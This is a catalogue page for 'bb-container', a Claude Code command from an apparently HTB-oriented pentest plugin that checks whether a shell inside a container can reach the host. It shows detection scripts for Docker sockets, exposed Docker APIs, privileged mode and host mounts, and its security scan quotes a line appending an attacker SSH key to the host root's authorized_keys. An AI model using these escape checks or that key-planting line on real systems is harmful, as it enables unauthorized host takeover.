bb-container

bb-container is a command for Claude Code from allsmog/blackbox-claude-plugin. It costs 9 tokens per session (1,447 once invoked), scanned C, original, MIT.

A security-analysis command for examining whether a process running inside a container can reach the host system. A container is an isolated environment used to run software.

In plain words
What is it for?
Detecting Docker, LXC, or Kubernetes environments and checking exposure such as Docker sockets and host-related interfaces.
Why use it?
It systematically checks common configuration weaknesses that may allow container boundaries to be crossed.

Command for Claude Code

Written for Claude Code: arguments in frontmatter.

Part of the blackbox-htb plugin — 17 skills, 11 commands, 9 agents shipped together

Good fit Detecting Docker, LXC, or Kubernetes environments and checking exposure such as Docker sockets and host-related interfaces.

Compare 6 commands from other repositories ↓
Install with agentmods
npx agentmods add commands/allsmog/blackbox-claude-plugin/bb-container
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Clone the repo
git clone --depth 1 https://github.com/allsmog/blackbox-claude-plugin

Made for: Claude Code.

Or install blackbox-htb, the plugin that ships this one along with the rest of its 17 skills, 11 commands, 9 agents.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for bb-container

README.md
[![agentmods](https://agentmods.dev/badge/commands/allsmog/blackbox-claude-plugin/bb-container/github.svg)](https://agentmods.dev/commands/allsmog/blackbox-claude-plugin/bb-container)
Your own site
<a href="https://agentmods.dev/commands/allsmog/blackbox-claude-plugin/bb-container"><img src="https://agentmods.dev/badge/commands/allsmog/blackbox-claude-plugin/bb-container/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for bb-container

Your own site · 80×15
<a href="https://agentmods.dev/commands/allsmog/blackbox-claude-plugin/bb-container"><img src="https://agentmods.dev/badge/commands/allsmog/blackbox-claude-plugin/bb-container.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 9 Only the description is in the session, so the agent can decide to use it. The body loads when it is invoked.
When invoked 1,447 The whole file, excluding the scripts and references it only reads on demand.
Security scan C 2 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00009 $0.01447
Opus 5.5 $0.00004 $0.00579
Sonnet 5.5 $0.00002 $0.00289
Haiku 4.5 $0.00001 $0.00145

Measured 1mo ago against content hash 3d419454073e, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade C, and why

bb-container scanned grade C with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Reaches for credential fileshighPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

echo "ssh-rsa AAAA... attacker@kali" >> /host/root/.ssh/authorized_keys

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -s --unix-socket /var/run/docker.sock http://localhost/version
blackbox-htb/commands/bb-container.md · 175 lines

How it starts

The opening of the file, as written. The whole thing — 175 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Container Escape Analysis

Purpose

When you have shell access inside a container, this command systematically checks all escape vectors and provides ready-to-run exploitation commands.

Workflow

Step 1: Confirm Container Environment

Run these checks to confirm containerization:

# Quick container detection
echo "[*] Container Detection"
[ -f /.dockerenv ] && echo "[+] Docker: /.dockerenv found"
grep -q docker /proc/1/cgroup 2>/dev/null && echo "[+] Docker: cgroup match"
grep -q lxc /proc/1/cgroup 2>/dev/null && echo "[+] LXC container"
[ -d /var/run/secrets/kubernetes.io ] && echo "[+] Kubernetes pod"
echo "[*] Hostname: $(hostname)"
echo "[*] Processes: $(ps aux 2>/dev/null | wc -l)"

Step 2: Check Escape Vectors

Docker Socket
echo "[*] Checking Docker socket..."
if [ -S /var/run/docker.sock ]; then
    echo "[!] VULNERABLE: Docker socket found!"
    curl -s --unix-socket /var/run/docker.sock http://localhost/version
fi
Docker Desktop API (Critical for HTB Windows hosts)
echo "[*] Checking Docker Desktop API..."
for ip in 192.168.65.7 192.168.65.1 host.docker.internal 172.17.0.1 172.18.0.1; do
    if curl -s -m 2 http://$ip:2375/version 2>/dev/null | grep -q Version; then
        echo "[!] VULNERABLE: Docker API at $ip:2375"
    fi
done
Privileged Mode
echo "[*] Checking privileged mode..."
if fdisk -l 2>/dev/null | grep -q "/dev/"; then
    echo "[!] VULNERABLE: Privileged container - can access disks"
    fdisk -l 2>/dev/null | grep "^Disk /dev"
fi
Capabilities
echo "[*] Checking capabilities..."
capsh --print 2>/dev/null | grep -E "cap_sys_admin|cap_sys_ptrace|cap_net_admin" && \
    echo "[!] Dangerous capabilities found"
Host Mounts
echo "[*] Checking for host filesystem..."
for path in /host /hostfs /mnt/host /rootfs; do
    [ -f "$path/etc/passwd" ] && echo "[!] Host filesystem at $path"
done

Step 3: Exploitation

Based on findings, use appropriate escape:

Read the full file on GitHub · 175 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 1mo ago First seen · 175 lines · 9 tokens per session scan C 3d419454073e

Subscribe to this mod's changes

bb-container is a command published in the GitHub repository allsmog/blackbox-claude-plugin (6 stars, last pushed 7mo ago), licensed MIT. It adds 9 tokens to every session and 1,447 once invoked, about $0.0000 per session on Opus 5.5. A static security scan graded it C with 2 findings (reaches for credential files, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.